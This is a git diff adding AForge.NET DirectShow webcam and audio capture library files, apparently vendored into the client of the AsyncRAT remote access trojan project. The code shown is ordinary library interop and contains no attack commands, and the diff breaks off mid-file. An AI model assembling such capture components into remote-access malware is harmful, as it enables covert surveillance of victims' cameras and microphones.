diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs new file mode 100644 index 0000000..4dc7340 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides callback methods for the method. + /// + /// + [ComImport, + Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabberCB + { + /// + /// Callback method that receives a pointer to the media sample. + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to the sample's IMediaSample interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SampleCB( double sampleTime, IntPtr sample ); + + /// + /// Callback method that receives a pointer to the sample bufferþ + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to a buffer that contains the sample data. + /// Length of the buffer pointed to by buffer, in bytes + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs new file mode 100644 index 0000000..ecb0739 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs @@ -0,0 +1,36 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface indicates that an object supports property pages. + /// + /// + [ComImport, + Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ISpecifyPropertyPages + { + /// + /// Fills a counted array of GUID values where each GUID specifies the + /// CLSID of each property page that can be displayed in the property + /// sheet for this object. + /// + /// + /// Pointer to a CAUUID structure that must be initialized + /// and filled before returning. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetPages( out CAUUID pPages ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs new file mode 100644 index 0000000..530283c --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs @@ -0,0 +1,518 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Drawing; + + // PIN_DIRECTION + + /// + /// This enumeration indicates a pin's direction. + /// + /// + [ComVisible( false )] + internal enum PinDirection + { + /// + /// Input pin. + /// + Input, + + /// + /// Output pin. + /// + Output + } + + // AM_MEDIA_TYPE + + /// + /// The structure describes the format of a media sample. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal class AMMediaType : IDisposable + { + /// + /// Globally unique identifier (GUID) that specifies the major type of the media sample. + /// + public Guid MajorType; + + /// + /// GUID that specifies the subtype of the media sample. + /// + public Guid SubType; + + /// + /// If true, samples are of a fixed size. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool FixedSizeSamples = true; + + /// + /// If true, samples are compressed using temporal (interframe) compression. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool TemporalCompression; + + /// + /// Size of the sample in bytes. For compressed data, the value can be zero. + /// + public int SampleSize = 1; + + /// + /// GUID that specifies the structure used for the format block. + /// + public Guid FormatType; + + /// + /// Not used. + /// + public IntPtr unkPtr; + + /// + /// Size of the format block, in bytes. + /// + public int FormatSize; + + /// + /// Pointer to the format block. + /// + public IntPtr FormatPtr; + + /// + /// Destroys the instance of the class. + /// + /// + ~AMMediaType( ) + { + Dispose( false ); + } + + /// + /// Dispose the object. + /// + /// + public void Dispose( ) + { + Dispose( true ); + // remove me from the Finalization queue + GC.SuppressFinalize( this ); + } + + /// + /// Dispose the object + /// + /// + /// Indicates if disposing was initiated manually. + /// + protected virtual void Dispose( bool disposing ) + { + if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) + { + Marshal.FreeCoTaskMem( FormatPtr ); + FormatSize = 0; + } + + if ( unkPtr != IntPtr.Zero ) + { + Marshal.Release( unkPtr ); + unkPtr = IntPtr.Zero; + } + } + } + + + // PIN_INFO + + /// + /// The structure contains information about a pin. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct PinInfo + { + /// + /// Owning filter. + /// + public IBaseFilter Filter; + + /// + /// Direction of the pin. + /// + public PinDirection Direction; + + /// + /// Name of the pin. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + } + + // FILTER_INFO + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct FilterInfo + { + /// + /// Filter's name. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + + /// + /// Owning graph. + /// + public IFilterGraph FilterGraph; + } + + // VIDEOINFOHEADER + + /// + /// The structure describes the bitmap and color information for a video image. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + // VIDEOINFOHEADER2 + + /// + /// The structure describes the bitmap and color information for a video image (v2). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader2 + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// Flags that specify how the video is interlaced. + /// + public int InterlaceFlags; + + /// + /// Flag set to indicate that the duplication of the stream should be restricted. + /// + public int CopyProtectFlags; + + /// + /// The X dimension of picture aspect ratio. + /// + public int PictAspectRatioX; + + /// + /// The Y dimension of picture aspect ratio. + /// + public int PictAspectRatioY; + + /// + /// Reserved for future use. + /// + public int Reserved1; + + /// + /// Reserved for future use. + /// + public int Reserved2; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + /// + /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 2 )] + internal struct BitmapInfoHeader + { + /// + /// Specifies the number of bytes required by the structure. + /// + public int Size; + + /// + /// Specifies the width of the bitmap. + /// + public int Width; + + /// + /// Specifies the height of the bitmap, in pixels. + /// + public int Height; + + /// + /// Specifies the number of planes for the target device. This value must be set to 1. + /// + public short Planes; + + /// + /// Specifies the number of bits per pixel. + /// + public short BitCount; + + /// + /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. + /// + public int Compression; + + /// + /// Specifies the size, in bytes, of the image. + /// + public int ImageSize; + + /// + /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. + /// + public int XPelsPerMeter; + + /// + /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. + /// + public int YPelsPerMeter; + + /// + /// Specifies the number of color indices in the color table that are actually used by the bitmap. + /// + public int ColorsUsed; + + /// + /// Specifies the number of color indices that are considered important for displaying the bitmap. + /// + public int ColorsImportant; + } + + // RECT + + /// + /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct RECT + { + /// + /// Specifies the x-coordinate of the upper-left corner of the rectangle. + /// + public int Left; + + /// + /// Specifies the y-coordinate of the upper-left corner of the rectangle. + /// + public int Top; + + /// + /// Specifies the x-coordinate of the lower-right corner of the rectangle. + /// + public int Right; + + /// + /// Specifies the y-coordinate of the lower-right corner of the rectangle. + /// + public int Bottom; + } + + // CAUUID + + /// + /// The CAUUID structure is a Counted Array of UUID or GUID types. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct CAUUID + { + /// + /// Size of the array pointed to by pElems. + /// + public int cElems; + + /// + /// Pointer to an array of UUID values, each of which specifies UUID. + /// + public IntPtr pElems; + + /// + /// Performs manual marshaling of pElems to retrieve an array of Guid objects. + /// + /// + /// A managed representation of pElems. + /// + public Guid[] ToGuidArray( ) + { + Guid[] retval = new Guid[cElems]; + + for ( int i = 0; i < cElems; i++ ) + { + IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); + retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); + } + + return retval; + } + } + + /// + /// Enumeration of DirectShow event codes. + /// + internal enum DsEvCode + { + None, + Complete = 0x01, // EC_COMPLETE + DeviceLost = 0x1F, // EC_DEVICE_LOST + //(...) not yet interested in other events + } + + [Flags, ComVisible( false )] + internal enum AnalogVideoStandard + { + None = 0x00000000, // This is a digital sensor + NTSC_M = 0x00000001, // 75 IRE Setup + NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup + NTSC_433 = 0x00000004, + PAL_B = 0x00000010, + PAL_D = 0x00000020, + PAL_G = 0x00000040, + PAL_H = 0x00000080, + PAL_I = 0x00000100, + PAL_M = 0x00000200, + PAL_N = 0x00000400, + PAL_60 = 0x00000800, + SECAM_B = 0x00001000, + SECAM_D = 0x00002000, + SECAM_G = 0x00004000, + SECAM_H = 0x00008000, + SECAM_K = 0x00010000, + SECAM_K1 = 0x00020000, + SECAM_L = 0x00040000, + SECAM_L1 = 0x00080000, + PAL_N_COMBO = 0x00100000 // Argentina + } + + [Flags, ComVisible( false )] + internal enum VideoControlFlags + { + FlipHorizontal = 0x0001, + FlipVertical = 0x0002, + ExternalTriggerEnable = 0x0004, + Trigger = 0x0008 + } + + [StructLayout( LayoutKind.Sequential ), ComVisible( false )] + internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS + { + public Guid Guid; + public AnalogVideoStandard VideoStandard; + public Size InputSize; + public Size MinCroppingSize; + public Size MaxCroppingSize; + public int CropGranularityX; + public int CropGranularityY; + public int CropAlignX; + public int CropAlignY; + public Size MinOutputSize; + public Size MaxOutputSize; + public int OutputGranularityX; + public int OutputGranularityY; + public int StretchTapsX; + public int StretchTapsY; + public int ShrinkTapsX; + public int ShrinkTapsY; + public long MinFrameInterval; + public long MaxFrameInterval; + public int MinBitsPerSecond; + public int MaxBitsPerSecond; + } + + /// + /// Specifies a filter's state or the state of the filter graph. + /// + internal enum FilterState + { + /// + /// Stopped. The filter is not processing data. + /// + State_Stopped, + + /// + /// Paused. The filter is processing data, but not rendering it. + /// + State_Paused, + + /// + /// Running. The filter is processing and rendering data. + /// + State_Running + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs new file mode 100644 index 0000000..8dc1874 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs @@ -0,0 +1,299 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow class IDs. + /// + [ComVisible( false )] + static internal class Clsid + { + /// + /// System device enumerator. + /// + /// + /// Equals to CLSID_SystemDeviceEnum. + /// + public static readonly Guid SystemDeviceEnum = + new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Filter graph. + /// + /// + /// Equals to CLSID_FilterGraph. + /// + public static readonly Guid FilterGraph = + new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Sample grabber. + /// + /// + /// Equals to CLSID_SampleGrabber. + /// + public static readonly Guid SampleGrabber = + new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); + + /// + /// Capture graph builder. + /// + /// + /// Equals to CLSID_CaptureGraphBuilder2. + /// + public static readonly Guid CaptureGraphBuilder2 = + new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// + /// Async reader. + /// + /// + /// Equals to CLSID_AsyncReader. + /// + public static readonly Guid AsyncReader = + new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow format types. + /// + /// + [ComVisible( false )] + static internal class FormatType + { + /// + /// VideoInfo. + /// + /// + /// Equals to FORMAT_VideoInfo. + /// + public static readonly Guid VideoInfo = + new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); + + /// + /// VideoInfo2. + /// + /// + /// Equals to FORMAT_VideoInfo2. + /// + public static readonly Guid VideoInfo2 = + new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + /// + /// DirectShow media types. + /// + /// + [ComVisible( false )] + static internal class MediaType + { + /// + /// Video. + /// + /// + /// Equals to MEDIATYPE_Video. + /// + public static readonly Guid Video = + new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Interleaved. Used by Digital Video (DV). + /// + /// + /// Equals to MEDIATYPE_Interleaved. + /// + public static readonly Guid Interleaved = + new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Audio. + /// + /// + /// Equals to MEDIATYPE_Audio. + /// + public static readonly Guid Audio = + new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Text. + /// + /// + /// Equals to MEDIATYPE_Text. + /// + public static readonly Guid Text = + new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Byte stream with no time stamps. + /// + /// + /// Equals to MEDIATYPE_Stream. + /// + public static readonly Guid Stream = + new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow media subtypes. + /// + /// + [ComVisible( false )] + static internal class MediaSubType + { + /// + /// YUY2 (packed 4:2:2). + /// + /// + /// Equals to MEDIASUBTYPE_YUYV. + /// + public static readonly Guid YUYV = + new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// IYUV. + /// + /// + /// Equals to MEDIASUBTYPE_IYUV. + /// + public static readonly Guid IYUV = + new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// A DV encoding format. (FOURCC 'DVSD') + /// + /// + /// Equals to MEDIASUBTYPE_DVSD. + /// + public static readonly Guid DVSD = + new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// RGB, 1 bit per pixel (bpp), palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB1. + /// + public static readonly Guid RGB1 = + new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 4 bpp, palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB4. + /// + public static readonly Guid RGB4 = + new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 8 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB8. + /// + public static readonly Guid RGB8 = + new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 565, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB565. + /// + public static readonly Guid RGB565 = + new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 555, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB555. + /// + public static readonly Guid RGB555 = + new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 24 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB24. + /// + public static readonly Guid RGB24 = + new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 32 bpp, no alpha channel. + /// + /// + /// Equals to MEDIASUBTYPE_RGB32. + /// + public static readonly Guid RGB32 = + new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Data from AVI file. + /// + /// + /// Equals to MEDIASUBTYPE_Avi. + /// + public static readonly Guid Avi = + new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Advanced Streaming Format (ASF). + /// + /// + /// Equals to MEDIASUBTYPE_Asf. + /// + public static readonly Guid Asf = + new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); + } + + /// + /// DirectShow pin categories. + /// + /// + [ComVisible( false )] + static internal class PinCategory + { + /// + /// Capture pin. + /// + /// + /// Equals to PIN_CATEGORY_CAPTURE. + /// + public static readonly Guid Capture = + new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + + /// + /// Still image pin. + /// + /// + /// Equals to PIN_CATEGORY_STILL. + /// + public static readonly Guid StillImage = + new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). + [ComVisible( false )] + static internal class FindDirection + { + /// Equals to LOOK_UPSTREAM_ONLY. + public static readonly Guid UpstreamOnly = + new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// Equals to LOOK_DOWNSTREAM_ONLY. + public static readonly Guid DownstreamOnly = + new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs new file mode 100644 index 0000000..73d2e90 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs @@ -0,0 +1,102 @@ +// AForge Video for Windows Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// Some Win32 API used internally. + /// + /// + internal static class Win32 + { + /// + /// Supplies a pointer to an implementation of IBindCtx (a bind context object). + /// This object stores information about a particular moniker-binding operation. + /// + /// + /// Reserved for future use; must be zero. + /// Address of IBindCtx* pointer variable that receives the + /// interface pointer to the new bind context object. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll" )] + public static extern + int CreateBindCtx( int reserved, out IBindCtx ppbc ); + + /// + /// Converts a string into a moniker that identifies the object named by the string. + /// + /// + /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. + /// Pointer to a zero-terminated wide character string containing the display name to be parsed. + /// Pointer to the number of characters of szUserName that were consumed. + /// Address of IMoniker* pointer variable that receives the interface pointer + /// to the moniker that was built from szUserName. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] + public static extern + int MkParseDisplayName( IBindCtx pbc, string szUserName, + ref int pchEaten, out IMoniker ppmk ); + + /// + /// Copy a block of memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's the value of dst - pointer to destination. + /// + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + public static unsafe extern int memcpy( + byte* dst, + byte* src, + int count ); + + /// + /// Invokes a new property frame, that is, a property sheet dialog box. + /// + /// + /// Parent window of property sheet dialog box. + /// Horizontal position for dialog box. + /// Vertical position for dialog box. + /// Dialog box caption. + /// Number of object pointers in ppUnk. + /// Pointer to the objects for property sheet. + /// Number of property pages in lpPageClsID. + /// Array of CLSIDs for each property page. + /// Locale identifier for property sheet locale. + /// Reserved. + /// Reserved. + /// + /// Returns S_OK on success. + /// + [DllImport( "oleaut32.dll" )] + public static extern int OleCreatePropertyFrame( + IntPtr hwndOwner, + int x, + int y, + [MarshalAs( UnmanagedType.LPWStr )] string caption, + int cObjects, + [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] + ref object ppUnk, + int cPages, + IntPtr lpPageClsID, + int lcid, + int dwReserved, + IntPtr lpvReserved ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs new file mode 100644 index 0000000..365a7c3 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs @@ -0,0 +1,123 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + /// + /// Specifies the physical type of pin (audio or video). + /// + public enum PhysicalConnectorType + { + /// + /// Default value of connection type. Physically it does not exist, but just either to specify that + /// connection type should not be changed (input) or was not determined (output). + /// + Default = 0, + /// + /// Specifies a tuner pin for video. + /// + VideoTuner = 1, + /// + /// Specifies a composite pin for video. + /// + VideoComposite, + /// + /// Specifies an S-Video (Y/C video) pin. + /// + VideoSVideo, + /// + /// Specifies an RGB pin for video. + /// + VideoRGB, + /// + /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. + /// + VideoYRYBY, + /// + /// Specifies a serial digital pin for video. + /// + VideoSerialDigital, + /// + /// Specifies a parallel digital pin for video. + /// + VideoParallelDigital, + /// + /// Specifies a SCSI (Small Computer System Interface) pin for video. + /// + VideoSCSI, + /// + /// Specifies an AUX (auxiliary) pin for video. + /// + VideoAUX, + /// + /// Specifies an IEEE 1394 pin for video. + /// + Video1394, + /// + /// Specifies a USB (Universal Serial Bus) pin for video. + /// + VideoUSB, + /// + /// Specifies a video decoder pin. + /// + VideoDecoder, + /// + /// Specifies a video encoder pin. + /// + VideoEncoder, + /// + /// Specifies a SCART (Peritel) pin for video. + /// + VideoSCART, + /// + /// Not used. + /// + VideoBlack, + + /// + /// Specifies a tuner pin for audio. + /// + AudioTuner = 4096, + /// + /// Specifies a line pin for audio. + /// + AudioLine, + /// + /// Specifies a microphone pin. + /// + AudioMic, + /// + /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. + /// + AudioAESDigital, + /// + /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. + /// + AudioSPDIFDigital, + /// + /// Specifies a SCSI pin for audio. + /// + AudioSCSI, + /// + /// Specifies an AUX pin for audio. + /// + AudioAUX, + /// + /// Specifies an IEEE 1394 pin for audio. + /// + Audio1394, + /// + /// Specifies a USB pin for audio. + /// + AudioUSB, + /// + /// Specifies an audio decoder pin. + /// + AudioDecoder + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs new file mode 100644 index 0000000..3256fed --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs @@ -0,0 +1,55 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow filter categories. + /// + [ComVisible( false )] + public static class FilterCategory + { + /// + /// Audio input device category. + /// + /// + /// Equals to CLSID_AudioInputDeviceCategory. + /// + public static readonly Guid AudioInputDevice = + new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video input device category. + /// + /// + /// Equals to CLSID_VideoInputDeviceCategory. + /// + public static readonly Guid VideoInputDevice = + new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video compressor category. + /// + /// + /// Equals to CLSID_VideoCompressorCategory. + /// + public static readonly Guid VideoCompressorCategory = + new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Audio compressor category + /// + /// + /// Equals to CLSID_AudioCompressorCategory. + /// + public static readonly Guid AudioCompressorCategory = + new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs new file mode 100644 index 0000000..a7c8dd4 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs @@ -0,0 +1,245 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Capabilities of video device such as frame size and frame rate. + /// + public class VideoCapabilities + { + /// + /// Frame size supported by video device. + /// + public readonly Size FrameSize; + + /// + /// Frame rate supported by video device for corresponding frame size. + /// + /// + /// This field is depricated - should not be used. + /// Its value equals to . + /// + /// + [Obsolete( "No longer supported. Use AverageFrameRate instead." )] + public int FrameRate + { + get { return AverageFrameRate; } + } + + /// + /// Average frame rate of video device for corresponding frame size. + /// + public readonly int AverageFrameRate; + + /// + /// Maximum frame rate of video device for corresponding frame size. + /// + public readonly int MaximumFrameRate; + + /// + /// Number of bits per pixel provided by the camera. + /// + public readonly int BitCount; + + internal VideoCapabilities( ) { } + + // Retrieve capabilities of a video device + static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) + { + if ( videoStreamConfig == null ) + throw new ArgumentNullException( "videoStreamConfig" ); + + // ensure this device reports capabilities + int count, size; + int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( count <= 0 ) + throw new NotSupportedException( "This video device does not report capabilities." ); + + if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) + throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); + + // group capabilities with similar parameters + Dictionary videocapsList = new Dictionary( ); + + for ( int i = 0; i < count; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); + + uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | + ( ( (uint) vc.FrameSize.Width ) << 16 ); + + if ( !videocapsList.ContainsKey( key ) ) 